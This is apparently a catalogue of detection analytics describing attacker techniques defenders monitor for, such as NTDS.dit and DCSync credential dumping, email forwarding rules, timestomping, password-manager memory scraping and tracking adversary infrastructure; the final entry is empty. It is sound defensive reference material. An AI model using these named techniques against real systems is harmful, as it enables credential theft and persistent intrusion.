Execution of network enumeration utilities (e.g., net.exe, ping.exe, tracert.exe) in short succession, often chained with lateral movement tools or system enumeration commands.


[AN1584] Analytic 1584

Current version: 1.0

Description:

Use of bash scripts or interactive shells to issue sequential ping, arp, or traceroute commands to map remote hosts.


[AN1585] Analytic 1585

Current version: 1.0

Description:

Execution of built-in or AppleScript-based system enumeration via arp, netstat, ping, and discovery of /etc/hosts contents.


[AN1586] Analytic 1586

Current version: 1.0

Description:

ESXi shell or SSH access issuing esxcli network diag ping or viewing routing tables to identify connected hosts.


[AN1587] Analytic 1587

Current version: 1.0

Description:

Execution of discovery commands like show cdp neighbors, show arp, and other interface-level introspection on Cisco or Juniper devices.


[AN1588] Analytic 1588

Current version: 1.0

Description:

Detection focuses on monitoring registry modifications under HKLM\SOFTWARE\Microsoft\Netsh that indicate the addition of helper DLLs, followed by anomalous child process activity or module load behavior initiated by netsh.exe. These behaviors are rarely legitimate and may represent an adversary establishing persistence.


[AN1589] Analytic 1589

Current version: 1.0

Description:

Creation of inbox rules via PowerShell (New-InboxRule) or transport rules using Exchange cmdlets. Correlates user behavior, cmdlet usage, and rule properties.


[AN1590] Analytic 1590

Current version: 1.0

Description:

Creation or modification of Apple Mail rules by accessing plist files or GUI automation (AppleScript).


[AN1591] Analytic 1591

Current version: 1.0

Description:

Creation of email forwarding/redirect rules in Exchange Online via New-InboxRule or transport rule cmdlets, including auto-forwarding address field usage.


[AN1592] Analytic 1592

Current version: 1.0

Description:

Modification of Thunderbird message filters file or execution of CLI tools (e.g., formail/procmail) that alter .forward behavior.


[AN1593] Analytic 1593

Current version: 1.0

Description:

Unexpected modification of the KernelCallbackTable in a process’s PEB followed by invocation of modified callback functions (e.g., fnCOPYDATA) through Windows messages. Defender observes suspicious API call chains such as NtQueryInformationProcess → WriteProcessMemory → abnormal GUI callback execution, often correlating to anomalous process behavior such as network activity or code injection.


[AN1594] Analytic 1594

Current version: 1.0

Description:

Detection of suspicious enumeration of cloud storage objects via API calls such as AWS S3 ListObjectsV2, Azure List Blobs, or GCP ListObjects. Correlate access with account role, user context, and prior authentication activity to identify anomalous usage patterns (e.g., unusual account, unexpected regions, or large-scale enumeration in short time windows).


[AN1595] Analytic 1595

Current version: 1.0

Description:

Monitor for suspicious usage of driver enumeration utilities (driverquery.exe) or API calls such as EnumDeviceDrivers(). Registry queries against HKLM\SYSTEM\CurrentControlSet\Services and HardwareProfiles that are abnormal may also indicate attempts to discover installed drivers and services. Correlate command execution, process creation, and registry access to build a behavioral chain of driver discovery.


[AN1596] Analytic 1596

Current version: 1.0

Description:

Detect attempts to enumerate kernel modules through lsmod, modinfo, or inspection of /proc/modules and /dev entries. Focus on unusual execution contexts such as unprivileged users or processes outside expected administrative workflows.


[AN1597] Analytic 1597

Current version: 1.0

Description:

Detect loading or inspection of kernel extensions (kextstat, kextfind) and file access to /System/Library/Extensions/. Monitor unexpected usage of these utilities by non-administrative users or scripts.


[AN1598] Analytic 1598

Current version: 1.0

Description:

Detects registration of new or modified network provider DLLs via registry changes, anomalous file creation of DLLs in system directories, and suspicious process activity (mpnotify.exe interacting with non-standard DLLs). Multi-event correlation ties registry modification events to subsequent DLL loads during user logon activity.


[AN1599] Analytic 1599

Current version: 1.0

Description:

Suspicious process initiating outbound connections to web services without corresponding response or return traffic, indicative of one-way command channels.


[AN1600] Analytic 1600

Current version: 1.0

Description:

Curl, wget, or custom HTTP clients initiated by uncommon user accounts or cron jobs to popular web services, with no observed response parsing logic.


[AN1601] Analytic 1601

Current version: 1.0

Description:

Process using URLSession or similar API to fetch from web services without any response handling, indicative of one-way C2 channels.


[AN1602] Analytic 1602

Current version: 1.0

Description:

ESXi shell or scheduled tasks initiating outbound HTTPS to known public services without inbound return or loggable response, used to fetch instructions.


[AN1603] Analytic 1603

Current version: 1.0

Description:

Detection of unauthorized changes to boot configurations pointing to TFTP servers, unusual firmware loads during netbooting, or suspicious TFTP traffic. Correlation of boot config modifications, command history logs, and unexpected system image hashes provides detection coverage for adversaries attempting to persist via malicious TFTP boot images.


[AN1604] Analytic 1604

Current version: 1.0

Description:

Adversary uses built-in OS tools or API calls to create local or domain accounts for persistence or lateral movement. Tools such as 'net user', PowerShell, or MMC snap-ins may be used. Detection focuses on Event ID 4720 paired with process lineage and user context.


[AN1605] Analytic 1605

Current version: 1.0

Description:

Adversary invokes 'useradd', 'adduser', or equivalent system commands or scripts to create local users. Detection focuses on command execution and audit trail of passwd/shadow file modifications.


[AN1606] Analytic 1606

Current version: 1.0

Description:

Adversary creates new users using 'dscl' commands, GUI tools, or by modifying user plist files. Detection includes monitoring dscl invocation and user-related plist changes.


[AN1607] Analytic 1607

Current version: 1.0

Description:

Adversary creates users via IAM/IdP API or portal (e.g., Azure AD, Okta). Detection involves monitoring API calls, admin action logs, and correlation with role assignments.


[AN1608] Analytic 1608

Current version: 1.0

Description:

Account creation via cloud service APIs or CLI, often associated with key generation. Monitored via CloudTrail or equivalent audit logs.


[AN1609] Analytic 1609

Current version: 1.0

Description:

Unexpected creation or modification of files with com.apple.ResourceFork extended attributes containing unusually large or non-standard data. Defender perspective: detection of resource forks in contexts where they are uncommon, especially when paired with process execution or network activity.


[AN1610] Analytic 1610

Current version: 1.0

Description:

Abuse of JamPlus.exe to launch malicious payloads via crafted .jam files, resulting in abnormal process creation, command execution, or artifact generation outside of standard development workflows.


[AN1611] Analytic 1611

Current version: 1.0

Description:

Detects credential dumping attempts targeting the NTDS.dit database by monitoring shadow copy creation, suspicious file access to %SystemRoot%\NTDS\ntds.dit, and the use of tooling like ntdsutil.exe or volume management APIs.


[AN1612] Analytic 1612

Current version: 1.0

Description:

Detection of suspicious enumeration of local or domain accounts via command-line tools, WMI, or scripts.


[AN1613] Analytic 1613

Current version: 1.0

Description:

Enumeration of users and groups through suspicious shell commands or unauthorized access to /etc/passwd or /etc/shadow.


[AN1614] Analytic 1614

Current version: 1.0

Description:

Detection of user account enumeration through tools like dscl, dscacheutil, or loginshell enumeration via command-line.


[AN1615] Analytic 1615

Current version: 1.0

Description:

Detection of API calls listing users, IAM roles, or groups in cloud environments.


[AN1616] Analytic 1616

Current version: 1.0

Description:

Enumeration of user or role objects via IdP API endpoints or LDAP queries.


[AN1617] Analytic 1617

Current version: 1.0

Description:

Account enumeration via esxcli, vim-cmd, or API calls to vSphere.


[AN1618] Analytic 1618

Current version: 1.0

Description:

Account enumeration via bulk access to user directory features or hidden APIs.


[AN1619] Analytic 1619

Current version: 1.0

Description:

Account discovery via VBA macros, COM objects, or embedded scripting.


[AN1620] Analytic 1620

Current version: 1.0

Description:

Detection of suspicious use of tscon.exe or equivalent methods to hijack legitimate RDP sessions. Defenders can observe anomalies such as session reassignments without corresponding authentication, processes spawned in the context of hijacked sessions, or unusual RDP network traffic flows that deviate from expected baselines.


[AN1621] Analytic 1621

Current version: 1.0

Description:

Detects enabling of reversible password encryption in Active Directory or Group Policy, suspicious PowerShell commands modifying AD user properties, and unusual account configuration changes correlated with policy modifications. Multi-event correlation links Group Policy edits, PowerShell command execution, and user account property changes to identify tampering with authentication encryption settings.


[AN1622] Analytic 1622

Current version: 1.0

Description:

Adversary modifies externally-facing web content by accessing and overwriting hosted HTML/JS/CSS files, typically following web shell deployment, credential abuse, or exploitation of web application vulnerabilities.


[AN1623] Analytic 1623

Current version: 1.0

Description:

Adversary compromises a Linux-based web server and modifies hosted web files by exploiting upload vulnerabilities, remote code execution, or replacing index.html via SSH/webshell.


[AN1624] Analytic 1624

Current version: 1.0

Description:

Adversary modifies web-facing content on macOS via web development environments like MAMP or misconfigured Apache instances, typically with access to the hosting user account or via persistence tools.


[AN1625] Analytic 1625

Current version: 1.0

Description:

Adversary modifies content in cloud-hosted websites (e.g., AWS S3-backed, Azure Blob-hosted sites) by gaining access to management consoles or APIs and uploading altered HTML/JS files.


[AN1626] Analytic 1626

Current version: 1.0

Description:

Detects attempts to modify file timestamps via API usage (e.g., SetFileTime), CLI tools (e.g., w32tm, PowerShell), or double-timestomp behavior where $SI and $FN timestamps are mismatched or reverted.


[AN1627] Analytic 1627

Current version: 1.0

Description:

Detects use of timestamp-altering commands like touch -a -m -t or touch -r, particularly when executed by unusual users or in suspicious directories.


[AN1628] Analytic 1628

Current version: 1.0

Description:

Detects timestamp changes using touch, SetFile, or direct metadata tampering (e.g., xattr manipulation) from Terminal, scripts, or low-level APIs.


[AN1629] Analytic 1629

Current version: 1.0

Description:

Detects abuse of busybox commands (e.g., touch) or log timestamp tampering during backdoor persistence or evasion.


[AN1630] Analytic 1630

Current version: 1.0

Description:

Defenders may observe adversary attempts to extract configuration data from management repositories by monitoring for anomalous SNMP queries, API calls, or protocol requests (e.g., NETCONF, RESTCONF) that enumerate system configuration. Suspicious sequences include repeated queries from untrusted IPs, abnormal query types requesting sensitive configuration data, or repository access occurring outside of normal administrative maintenance windows. Abnormal authentication attempts, sudden enumeration of device inventory, or bulk data transfer of configuration files may also be observed.


[AN1631] Analytic 1631

Current version: 1.0

Description:

Monitoring adversary access to sensitive process memory via the /proc filesystem to extract credential material, often involving multi-step access to /proc/[pid]/mem or /proc/[pid]/maps combined with privilege escalation or credential scraping binaries.


[AN1632] Analytic 1632

Current version: 1.0

Description:

Detects unauthorized invocation of replication operations (DCSync) via Directory Replication Service (DRS), often executed by threat actors using Mimikatz or similar tools from non-DC endpoints.


[AN1633] Analytic 1633

Current version: 1.0

Description:

Detects exploitation attempts targeting defensive security software or OS services. Defender observation includes abnormal process behavior (e.g., AV or EDR crashing unexpectedly), unsigned/untrusted modules loaded into defensive processes, or privilege escalation from security agent services. Multi-event correlation ties exploitation attempts to subsequent evasive behavior like service termination or missing logs.


[AN1634] Analytic 1634

Current version: 1.0

Description:

Detects kernel- or user-space exploitation attempts targeting auditd, AV daemons, or security monitoring agents. Defender observation includes unexpected segfaults, privilege escalation attempts from low-privileged processes, or modifications to security binaries. Correlates exploitation attempts with subsequent gaps in logging or terminated processes.


[AN1635] Analytic 1635

Current version: 1.0

Description:

Detects exploitation of macOS security and integrity services, such as Gatekeeper, XProtect, or EDR agents. Defender observations include unsigned processes attempting privileged operations, abnormal termination of security daemons, or modification of system integrity logs.


[AN1636] Analytic 1636

Current version: 1.0

Description:

Detects exploitation of IaaS cloud security boundaries to evade defense controls. Defender perspective includes anomalous API calls that bypass audit logging, disable monitoring, or manipulate guardrails (e.g., CloudTrail tampering). Correlation highlights when exploitation attempts precede sudden absence of expected telemetry.


[AN1637] Analytic 1637

Current version: 1.0

Description:

Detects adversary abuse of SaaS platform vulnerabilities to bypass logging, monitoring, or consent boundaries. Defender perspective focuses on abnormal application integration events, missing audit logs, or API calls from unauthorized service principals that align with exploitation attempts.


[AN1638] Analytic 1638

Current version: 1.0

Description:

SSH login from a remote system (via sshd), followed by user context execution of suspicious binaries or privilege escalation behavior.


[AN1639] Analytic 1639

Current version: 1.0

Description:

SSH login detected via Unified Logs, followed by unusual process execution, especially outside normal user behavior patterns.


[AN1640] Analytic 1640

Current version: 1.0

Description:

SSH login via hostd or /var/log/auth.log, followed by CLI access to host shell or file manipulation in restricted areas.


[AN1641] Analytic 1641

Current version: 1.0

Description:

Detection of suspicious access to password manager processes (KeePass, 1Password, LastPass, Bitwarden) through abnormal process injection, memory reads, or command-line usage of vault-related DLLs. Correlates process creation with OS API calls and file access to vault databases (.kdbx, .opvault, .ldb).


[AN1642] Analytic 1642

Current version: 1.0

Description:

Suspicious access to password manager vaults (KeePassXC, gnome-keyring, pass) via memory scraping or unauthorized file reads. Detects unusual command execution involving gdb/strace attached to password manager processes.


[AN1643] Analytic 1643

Current version: 1.0

Description:

Detection of password manager database access (1Password .opvault, LastPass caches, KeePass .kdbx) outside expected parent processes. Identifies memory scraping attempts via suspicious API calls or tools attaching to password manager processes.


[AN1937] Analytic 1937

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN1938] Analytic 1938

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN1939] Analytic 1939

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN1940] Analytic 1940

Current version: 1.0

Description:

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of exploits for vulnerabilities (i.e. Exploit Public-Facing Application, Exploitation for Client Execution, Exploitation for Privilege Escalation, Exploitation for Defense Evasion, Exploitation for Credential Access, Exploitation of Remote Services, and Application or System Exploitation).


[AN1941] Analytic 1941

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN1942] Analytic 1942

Current version: 1.0

Description:

Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.


[AN1943] Analytic 1943

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN1944] Analytic 1944

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN1945] Analytic 1945

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN1946] Analytic 1946

Current version: 1.0

Description:

Monitor for suspicious network traffic that could be indicative of probing for email addresses and/or usernames, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.


[AN1947] Analytic 1947

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN1948] Analytic 1948

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN1949] Analytic 1949

Current version: 1.0

Description:

Monitoring the content of network traffic can help detect patterns associated with active scanning activities. This can include identifying repeated connection attempts, unusual scanning behaviors, or probing activity targeting multiple IP addresses across a network. +Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.


[AN1950] Analytic 1950

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN1951] Analytic 1951

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN1952] Analytic 1952

Current version: 1.0

Description:

Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN1953] Analytic 1953

Current version: 1.0

Description:

Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts). +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. +Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. +Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).


[AN1954] Analytic 1954

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN1955] Analytic 1955

Current version: 1.0

Description:

Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). +Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) +When it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites. +Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).

+

Monitor call logs from corporate devices to identify patterns of potential voice phishing, such as calls to/from known malicious phone numbers. +Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.


[AN1956] Analytic 1956

Current version: 1.0

Description:

If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as User Execution or Ingress Tool Transfer .


[AN1957] Analytic 1957

Current version: 1.0

Description:

If infrastructure or patterns in the malicious web content utilized to deliver a Drive-by Compromise have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as Drive-by Compromise or Exploitation for Client Execution.


[AN1958] Analytic 1958

Current version: 1.0

Description:

Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN1959] Analytic 1959

Current version: 1.0

Description:

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. Exploit Public-Facing Application, Exploitation for Client Execution, Exploitation for Privilege Escalation, Exploitation for Defense Evasion, Exploitation for Credential Access, Exploitation of Remote Services, and Application or System Exploitation).


[AN1960] Analytic 1960

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN1961] Analytic 1961

Current version: 1.0

Description:

Once adversaries leverage serverless functions as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle.


[AN1962] Analytic 1962

Current version: 1.0

Description:

Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. +Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).


[AN1963] Analytic 1963

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN1964] Analytic 1964

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN1965] Analytic 1965

Current version: 1.0

Description:

Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as Code Signing or Install Root Certificate.


[AN1966] Analytic 1966

Current version: 1.0

Description:

If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as Ingress Tool Transfer.


[AN1967] Analytic 1967

Current version: 1.0

Description:

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: Phishing).


[AN1968] Analytic 1968

Current version: 1.0

Description:

If infrastructure or patterns in the malicious web content related to malvertising have been previously identified, internet scanning may uncover when an adversary has staged malicious web content. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as Drive-by Compromise or Exploitation for Client Execution.


[AN1969] Analytic 1969

Current version: 1.0

Description:

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Phishing, Endpoint Denial of Service, or Network Denial of Service.


[AN1970] Analytic 1970

Current version: 1.0

Description:

Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.


[AN1971] Analytic 1971

Current version: 1.0

Description:

If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.


[AN1972] Analytic 1972

Current version: 1.0

Description:

Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) +Detection efforts may be focused on related behaviors, such as Web Protocols or Asymmetric Cryptography.


[AN1973] Analytic 1973

Current version: 1.0

Description:

Monitor for suspicious network traffic that could be indicative of probing for user information, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.


[AN1974] Analytic 1974

Current version: 1.0

Description:

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of generative artificial intelligence (i.e. Phishing, Phishing for Information).


[AN1975] Analytic 1975

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN1976] Analytic 1976

Current version: 1.0

Description:

Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) +Detection efforts may be focused on related behaviors, such as Web Protocols , Asymmetric Cryptography , and/or Install Root Certificate .


[AN1977] Analytic 1977

Current version: 1.0

Description:

Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. +Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)


[AN1978] Analytic 1978

Current version: 1.0

Description:

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: Transfer Data to Cloud Account).


[AN1979] Analytic 1979

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN1980] Analytic 1980

Current version: 1.0

Description:

Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) +Monitor for logged network traffic in response to a scan showing both protocol header and body values that may buy and/or steal SSL/TLS certificates that can be used during targeting. Detection efforts may be focused on related behaviors, such as Web Protocols, Asymmetric Cryptography, and/or Install Root Certificate.


[AN1981] Analytic 1981

Current version: 1.0

Description:

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

+

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.


[AN1982] Analytic 1982

Current version: 1.0

Description:

Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. +Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. +Monitor for logged network traffic in response to a scan showing both protocol header and body values that may buy and/or steal capabilities that can be used during targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. +Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in Cobalt Strike payloads.(Citation: Analyzing CS Dec 2020)


[AN1983] Analytic 1983

Current version: 1.0

Description:

Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). +Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: Spearphishing via Service).


[AN1984] Analytic 1984

Current version: 1.0

Description:

Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in Cobalt Strike payloads.(Citation: Analyzing CS Dec 2020) +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.


[AN1985] Analytic 1985

Current version: 1.0

Description:

